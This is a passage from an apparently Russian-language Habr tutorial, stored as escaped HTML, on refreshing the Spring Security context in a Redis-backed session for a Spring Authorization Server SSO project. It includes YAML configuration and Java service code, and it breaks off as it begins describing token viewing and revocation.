\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.<\/p>\n<\/li>\n<\/ol>\n<p>\u0422\u0435\u0441\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0438\u0435\u043d\u0442 (test-client) \u0431\u044b\u043b \u043e\u0431\u043d\u043e\u0432\u043b\u0451\u043d. \u0417\u0430\u043f\u0443\u0441\u0442\u0438\u0432 \u0435\u0433\u043e, \u0432\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c, \u043a\u0430\u043a \u044d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442.<\/p>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/post_images\/543\/254\/327\/543254327bdaf1adb19dddb9d4179fbe.gif\" alt=\"\u0410\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u044f \u0447\u0435\u0440\u0435\u0437 j-sso \u0432 test-client\" title=\"\u0410\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u044f \u0447\u0435\u0440\u0435\u0437 j-sso \u0432 test-client\" width=\"1200\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/post_images\/543\/254\/327\/543254327bdaf1adb19dddb9d4179fbe.gif\"\/><\/p>\n<div><figcaption>\u0410\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u044f \u0447\u0435\u0440\u0435\u0437 j-sso \u0432 test-client<\/figcaption><\/div>\n<\/figure>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/post_images\/eed\/d47\/6b7\/eedd476b7ff5db93f42925631bb9c44d.png\" alt=\"\u0417\u0430\u043f\u0440\u043e\u0441 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0430\u0432\u0430\u0442\u0430\u0440\u043a\u0438\" title=\"\u0417\u0430\u043f\u0440\u043e\u0441 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0430\u0432\u0430\u0442\u0430\u0440\u043a\u0438\" width=\"1200\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/post_images\/eed\/d47\/6b7\/eedd476b7ff5db93f42925631bb9c44d.png\"\/><\/p>\n<div><figcaption>\u0417\u0430\u043f\u0440\u043e\u0441 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0430\u0432\u0430\u0442\u0430\u0440\u043a\u0438<\/figcaption><\/div>\n<\/figure>\n<h4>\u041a\u0430\u043a \u043c\u044b \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u043b\u0438 Security Context \u043f\u0440\u0438 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0438 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435<\/h4>\n<p>\u041f\u0440\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435 \u043f\u0435\u0440\u0435\u0434\u043e \u043c\u043d\u043e\u0439 \u0432\u0441\u0442\u0430\u043b\u0430 \u0437\u0430\u0434\u0430\u0447\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0432 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435 Security. \u041d\u0430 \u0441\u0430\u043c\u043e\u043c \u0434\u0435\u043b\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043e\u0447\u0435\u0432\u0438\u0434\u043d\u043e\u0435, \u043f\u0440\u043e\u0441\u0442\u043e \u043f\u0435\u0440\u0435\u0441\u043e\u0437\u0434\u0430\u0451\u043c \u043e\u0431\u044a\u0435\u043a\u0442 Authentication \u0438 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u043c \u0435\u0433\u043e \u0432 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 \u043c\u0435\u0442\u043e\u0434\u0430 <code>SecurityContextHolder.getContext().setAuthentication()<\/code>. \u041d\u043e \u0441\u0442\u043e\u0438\u0442 \u0443\u0447\u0435\u0441\u0442\u044c, \u0447\u0442\u043e \u043f\u0440\u043e\u0441\u0442\u0430\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u043f\u043e\u043c\u043e\u0436\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u0437\u0430\u043f\u0440\u043e\u0441\u0430. \u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f Security \u0443 \u043d\u0430\u0441 \u0445\u0440\u0430\u043d\u0438\u0442\u0441\u044f \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 HTTP \u0441\u0435\u0441\u0441\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0432 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c \u0445\u0440\u0430\u043d\u0438\u0442\u0441\u044f \u0432 Redis. \u041c\u044b \u044d\u0442\u043e \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u043b\u0438 \u043f\u0440\u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0435 spring session. \u041d\u0438\u0436\u0435 \u043f\u0440\u0438\u0432\u0435\u0434\u0451\u043d \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442 <code>application.yml<\/code>, \u0433\u0434\u0435 \u043c\u044b \u044d\u0442\u043e \u043d\u0430\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0435\u043c.<\/p>\n<p><code><strong>application.yml<\/strong><\/code><\/p>\n<pre><code class=\"yaml\">spring:     session:         timeout: 1800                 # \u0412\u0440\u0435\u043c\u044f \u0436\u0438\u0437\u043d\u0438 \u0441\u0435\u0441\u0441\u0438\u0438 (\u0432 \u0441\u0435\u043a\u0443\u043d\u0434\u0430\u0445)         redis:             flush-mode: on_save         # \u0423\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u043c, \u043a\u043e\u0433\u0434\u0430 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0441\u0435\u0430\u043d\u0441\u0430 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u0432 \u0445\u0440\u0430\u043d\u0438\u043b\u0438\u0449\u0435 (immediate \u0438\u043b\u0438 on_save)             namespace: j-sso:session    # \u041f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u043e \u0438\u043c\u0435\u043d \u0434\u043b\u044f \u043a\u043b\u044e\u0447\u0435\u0439, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0445 \u0434\u043b\u044f \u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0441\u0435\u0441\u0441\u0438\u0439.             save-mode: on_set_attribute # \u041e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442, \u0432 \u043a\u0430\u043a\u043e\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439 \u0441\u0435\u0441\u0441\u0438\u0438 (on_set_attribute, on_get_attribute, always) <\/code><\/pre>\n<p>\u0414\u043b\u044f \u0442\u043e\u0433\u043e \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043d\u044f\u0442\u044c, \u043a\u0430\u043a \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c \u0438\u0437\u043c\u0435\u043d\u0451\u043d\u043d\u044b\u0439 SecurityContext, \u0441\u0442\u043e\u0438\u0442 \u0437\u0430\u0433\u043b\u044f\u043d\u0443\u0442\u044c \u0432 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044e <code>SecurityContextPersistenceFilter<\/code> \u0438 \u0443\u0432\u0438\u0434\u0435\u0442\u044c, \u0447\u0442\u043e \u043e\u043d \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0434\u043b\u044f \u044d\u0442\u043e\u0433\u043e <code>SecurityContextRepository<\/code>. \u0410 \u0435\u0441\u043b\u0438 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0432 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044e <code>SecurityContextConfigurer<\/code>, \u0442\u043e \u043c\u043e\u0436\u043d\u043e \u0443\u0432\u0438\u0434\u0435\u0442\u044c, \u043a\u0430\u043a \u0441\u043e\u0437\u0434\u0430\u0451\u0442\u0441\u044f \u0434\u0430\u043d\u043d\u044b\u0439 \u0444\u0438\u043b\u044c\u0442\u0440, \u0438 \u043a\u0430\u043a\u0430\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 <code>securityContextConfigurer<\/code>. \u0418\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u043d\u0438\u0436\u0435 \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u0443\u0435\u0442 \u044d\u0442\u043e:<\/p>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/post_images\/e71\/388\/168\/e713881682076dfcdef60b0084b7d6cd.png\" alt=\"SecurityContextConfigurer\" title=\"SecurityContextConfigurer\" width=\"1200\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/post_images\/e71\/388\/168\/e713881682076dfcdef60b0084b7d6cd.png\"\/><\/p>\n<div><figcaption>SecurityContextConfigurer<\/figcaption><\/div>\n<\/figure>\n<p>\u041d\u043e \u0432\u0441\u044e \u0442\u0443 \u0436\u0435 \u0441\u0430\u043c\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e, \u0442\u0430\u043a\u0436\u0435 \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0439\u0442\u0438 \u0438 \u0432 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u043f\u043e Spring Security \u043d\u0430 <a href=\"https:\/\/docs.spring.io\/spring-security\/reference\/servlet\/authentication\/persistence.html\" rel=\"noopener noreferrer nofollow\">\u044d\u0442\u043e\u0439 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0435<\/a>.<\/p>\n<p>\u0418\u0442\u0430\u043a, \u0447\u0442\u043e\u0431\u044b \u043d\u0430\u043c \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u0435, \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u043e \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u043c\u0435\u0442\u043e\u0434 <code>securityContextRepository.saveContext(securityContext, request, response);<\/code>. \u041d\u043e \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u043d\u0435\u0442 \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0431\u0438\u043d\u0430 \u0441 \u0442\u0438\u043f\u043e\u043c <code>SecurityContextRepository<\/code>, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043d\u0430\u043c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0435\u0433\u043e, \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 Spring Security \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430. \u041d\u0430\u0441 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0443\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0435\u0442 repository, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0439 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0441\u0434\u0435\u043b\u0430\u0435\u043c \u0431\u0438\u043d \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u043c.<\/p>\n<p><code><strong>SecurityConfigUtilities.java<\/strong><\/code><\/p>\n<pre><code class=\"java\">public class SecurityConfigUtilities {      \/\/ .......      @Bean     public SecurityContextRepository securityContextRepository() {         return new DelegatingSecurityContextRepository(                 new RequestAttributeSecurityContextRepository(),                 new HttpSessionSecurityContextRepository()         );     }  } <\/code><\/pre>\n<p>\u0414\u0430\u043b\u0435\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043c \u0435\u0433\u043e \u043f\u0440\u0438 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0438 Spring Security.<\/p>\n<p><code><strong>SecurityConfig.java<\/strong><\/code><\/p>\n<pre><code class=\"java\">public class SecurityConfig {      private final SecurityContextRepository securityContextRepository;      @Bean     public SecurityFilterChain defaultSecurityFilterChain(HttpSecurity http) throws Exception {          \/\/ ...          http.securityContext(customizer -> customizer.securityContextRepository(securityContextRepository));          \/\/....     } } <\/code><\/pre>\n<p>\u0418 \u043f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u043c\u043e\u0436\u043d\u043e \u0441\u043c\u0435\u043b\u043e \u0435\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430 Security.<\/p>\n<p><code><strong>SecurityService.java<\/strong><\/code><\/p>\n<pre><code class=\"java\"> @Service @RequiredArgsConstructor public class SecurityService {      private final SecurityContextRepository securityContextRepository;      \/**      * \u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435 \u0432 Security Context \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043b\u0435\u043d\u043d\u043e\u0439 DTO.      *\/     public void reloadSecurityContext(AuthorizedUser authorizedUser, HttpServletRequest request, HttpServletResponse response) {         SecurityContext securityContext = this.reloadAuthenticationWithNewPrincipal(authorizedUser);         securityContextRepository.saveContext(securityContext, request, response);     }      \/**      * \u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043e\u0431\u044a\u0435\u043a\u0442\u0430 Authentication \u0432 Security Context, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043d\u043e\u0432\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435 \u0438\u0437 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u043e\u0439 DTO.      *\/     private SecurityContext reloadAuthenticationWithNewPrincipal(AuthorizedUser principal) {         Authentication authentication = SecurityContextHolder.getContext().getAuthentication();         if (authentication == null) {             throw new UnsupportedOperationException(\"Authentication object is null\");         }          if (authentication instanceof UsernamePasswordAuthenticationToken auth) {             Authentication newAuth = new UsernamePasswordAuthenticationToken(                     principal,                     auth.getCredentials(),                     auth.getAuthorities()             );             SecurityContext securityContext = SecurityContextHolder.getContext();             securityContext.setAuthentication(newAuth);             return securityContext;         }         if (authentication instanceof OAuth2AuthenticationToken auth) {             Authentication newAuth = new OAuth2AuthenticationToken(                     principal,                     auth.getAuthorities(),                     auth.getAuthorizedClientRegistrationId()             );             SecurityContext securityContext = SecurityContextHolder.getContext();             securityContext.setAuthentication(newAuth);             return securityContext;         }         throw new UnsupportedOperationException(\"Authentication type \" + authentication.getClass() + \" is not supported\");     } } <\/code><\/pre>\n<p>\u041a\u0430\u043a \u043f\u043e \u043c\u043d\u0435, \u0440\u0430\u0434\u0438 \u0442\u0430\u043a\u043e\u0439 \u0432\u0440\u043e\u0434\u0435 \u0431\u044b \u043d\u0435 \u0441\u043b\u043e\u0436\u043d\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438, \u0441\u043b\u0438\u0448\u043a\u043e\u043c \u043c\u043d\u043e\u0433\u043e \u0442\u0435\u043b\u043e\u0434\u0432\u0438\u0436\u0435\u043d\u0438\u0439. \u0422\u0430\u043a\u0436\u0435 \u043d\u0435 \u043d\u0440\u0430\u0432\u0438\u0442\u0441\u044f, \u0447\u0442\u043e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0432 \u043c\u0435\u0442\u043e\u0434 \u0442\u0430\u0449\u0438\u0442\u044c <code>HttpServletRequest<\/code> \u0438 <code>HttpServletResponse<\/code>, \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u044f \u043f\u043e\u043a\u0430\u043f\u0430\u043b\u0441\u044f \u0432 \u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a\u0430\u0445 \u0438 \u043d\u0430\u0448\u0451\u043b \u0431\u043e\u043b\u0435\u0435 \u043f\u0440\u043e\u0441\u0442\u043e\u0439 \u043f\u043e\u0434\u0445\u043e\u0434 \u043a \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044e \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043c\u043e\u0435\u0439 \u0437\u0430\u0434\u0430\u0447\u0438. \u0421\u043c\u044b\u0441\u043b \u0435\u0433\u043e \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e\u0431\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c <code>SessionRepository<\/code> \u0432\u043c\u0435\u0441\u0442\u043e <code>SecurityContextRepository<\/code> \u0438 \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e \u0432 \u0441\u0435\u0441\u0441\u0438\u0438 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c SecurityContext. \u041a\u043e\u0434 \u0442\u0430\u043a\u043e\u0433\u043e <code>SecurityService<\/code> \u043f\u043e\u043a\u0430\u0437\u0430\u043d \u043d\u0438\u0436\u0435:<\/p>\n<details class=\"spoiler\">\n<summary>SecurityServiceWithSessionRepository.java<\/summary>\n<div class=\"spoiler__content\">\n<pre><code class=\"java\"> @Service @RequiredArgsConstructor @SuppressWarnings({\"unchecked\", \"rawtypes\"}) public class SecurityServiceWithSessionRepository {      private final SessionRepository sessionRepository;      private final static String SECURITY_CONTEXT_ATTR = \"SPRING_SECURITY_CONTEXT\";      \/**      * \u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435 \u0432 Security Context \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043b\u0435\u043d\u043d\u043e\u0439 DTO.      *\/     public void reloadSecurityContext(AuthorizedUser authorizedUser) {         String sessionId = RequestContextHolder.currentRequestAttributes().getSessionId();         this.reloadAuthenticationWithNewPrincipal(authorizedUser);          Session session = sessionRepository.findById(sessionId);         session.setAttribute(SECURITY_CONTEXT_ATTR, SecurityContextHolder.getContext());         sessionRepository.save(session);     }      \/**      * \u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043e\u0431\u044a\u0435\u043a\u0442\u0430 Authentication \u0432 Security Context, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043d\u043e\u0432\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435 \u0438\u0437 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u043e\u0439 DTO.      *\/     private void reloadAuthenticationWithNewPrincipal(AuthorizedUser principal) {         Authentication authentication = SecurityContextHolder.getContext().getAuthentication();         if (authentication == null) {             throw new UnsupportedOperationException(\"Authentication object is null\");         }          if (authentication instanceof UsernamePasswordAuthenticationToken auth) {             Authentication newAuth = new UsernamePasswordAuthenticationToken(                     principal,                     auth.getCredentials(),                     auth.getAuthorities()             );             SecurityContextHolder.getContext().setAuthentication(newAuth);             return;         }         if (authentication instanceof OAuth2AuthenticationToken auth) {             Authentication newAuth = new OAuth2AuthenticationToken(                     principal,                     auth.getAuthorities(),                     auth.getAuthorizedClientRegistrationId()             );             SecurityContextHolder.getContext().setAuthentication(newAuth);             return;         }         throw new UnsupportedOperationException(\"Authentication type \" + authentication.getClass() + \" is not supported\");     } }  <\/code><\/pre>\n<\/div>\n<\/details>\n<p>\u0421\u0442\u043e\u0438\u0442 \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u0432\u0441\u0451 \u0436\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u0435\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c <code>SecurityContextRepository<\/code>, \u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f Spring Security \u043e\u0431 \u044d\u0442\u043e\u043c \u0433\u043e\u0432\u043e\u0440\u0438\u0442 (\u0441\u043c\u043e\u0442\u0440\u0438 \u043a\u043e\u043d\u0435\u0446 <a href=\"https:\/\/docs.spring.io\/spring-security\/reference\/servlet\/authentication\/persistence.html\" rel=\"noopener noreferrer nofollow\">\u044d\u0442\u043e\u0439 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b<\/a>). \u041f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u0432\u0442\u043e\u0440\u043e\u0433\u043e \u043f\u043e\u0434\u0445\u043e\u0434\u0430 \u0432\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u0443\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0432\u0430\u0436\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0430 \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430 \u0432 <code>SecurityContextRepository<\/code>, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u044b \u0432 \u0431\u0443\u0434\u0443\u0449\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445. \u041f\u043e\u044d\u0442\u043e\u043c\u0443, \u0437\u043d\u0430\u0442\u044c \u043f\u0440\u043e \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430 \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e \u0447\u0435\u0440\u0435\u0437 <code>sessionRepository<\/code> \u0431\u0443\u0434\u0435\u0442 \u043f\u043e\u043b\u0435\u0437\u043d\u043e, \u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u043e\u0442 \u043f\u043e\u0434\u0445\u043e\u0434 \u0441\u0442\u043e\u0438\u0442 \u0441 \u043e\u0441\u043e\u0431\u043e\u0439 \u043e\u0441\u0442\u043e\u0440\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u044e.<\/p>\n<h4>\u041a\u0430\u043a \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e\u0431\u043e \u0432\u0441\u0435\u0445 \u0442\u043e\u043a\u0435\u043d\u0430\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f?<\/h4>\n<p>\u0412 \u0440\u0430\u043c\u043a\u0430\u0445 \u0434\u043e\u0440\u0430\u0431\u043e\u0442\u043e\u043a \u0431\u044b\u043b\u0430 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u0430 \u0444\u043e\u0440\u043c\u0430 \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430 \u0442\u043e\u043a\u0435\u043d\u043e\u0432 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043e\u0442\u0437\u044b\u0432\u0430 \u0442\u043e\u043a\u0435\u043d\u0430.<\/p>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/post_images\/977\/934\/990\/9779349904fc9944db3cecc81afd11f9.gif\" alt=\"\u041e\u0442\u0437\u044b\u0432 \u0442\u043e\u043a\u0435\u043d\u0430\" title=\"\u041e\u0442\u0437\u044b\u0432 \u0442\u043e\u043a\u0435\u043d\u0430\" width=\"1200\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/post_images\/977\/934\/990\/9779349904fc9944db3cecc81afd11f9.gif\"\/><\/p>\n<div><figcaption>\u041e\u0442\u0437\u044b\u0432 \u0442\u043e\u043a\u0435\u043d\u0430<\/figcaption><\/div>\n<\/figure>\n<p>\u0414\u043b\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u044d\u0442\u043e\u0439 \u0444\u043e\u0440\u043c\u044b \u0431\u044b\u043b \u0434\u043e\u0440\u0430\u0431\u043e\u0442\u0430\u043d <a href=\"https:\/\/github.com\/dlabs71\/spring-authorization-server-example\/blob\/chapter-5.1\/j-sso\/src\/main\/java\/ru\/dlabs\/sas\/example\/jsso\/service\/security\/RedisOAuth2AuthorizationService.java\" rel=\"noopener noreferrer nofollow\"><code>RedisOAuth2AuthorizationService<\/code><\/a>, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u044b \u0441\u0442\u0440\u043e\u0438\u043b\u0438 \u0432 <a href=\"https:\/\/habr.com\/ru\/articles\/748584\/\" rel=\"noopener noreferrer nofollow\">\u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 (\u0420\u0430\u0437\u0434\u0435\u043b 3.1: \u0414\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u043c Redis)<\/a>. \u041d\u0430\u043f\u043e\u043c\u043d\u044e, \u0434\u0430\u043d\u043d\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u0442 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 <code>OAuth2AuthorizationService<\/code> \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0440\u043e\u043b\u044c \u0445\u0440\u0430\u043d\u0438\u043b\u0438\u0449\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e\u0431 OAuth2 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438.<\/p>\n<p>\u0420\u0430\u0437 \u044d\u0442\u043e\u0442 \u043a\u043b\u0430\u0441\u0441 \u0438 \u0442\u0430\u043a \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0440\u043e\u043b\u044c 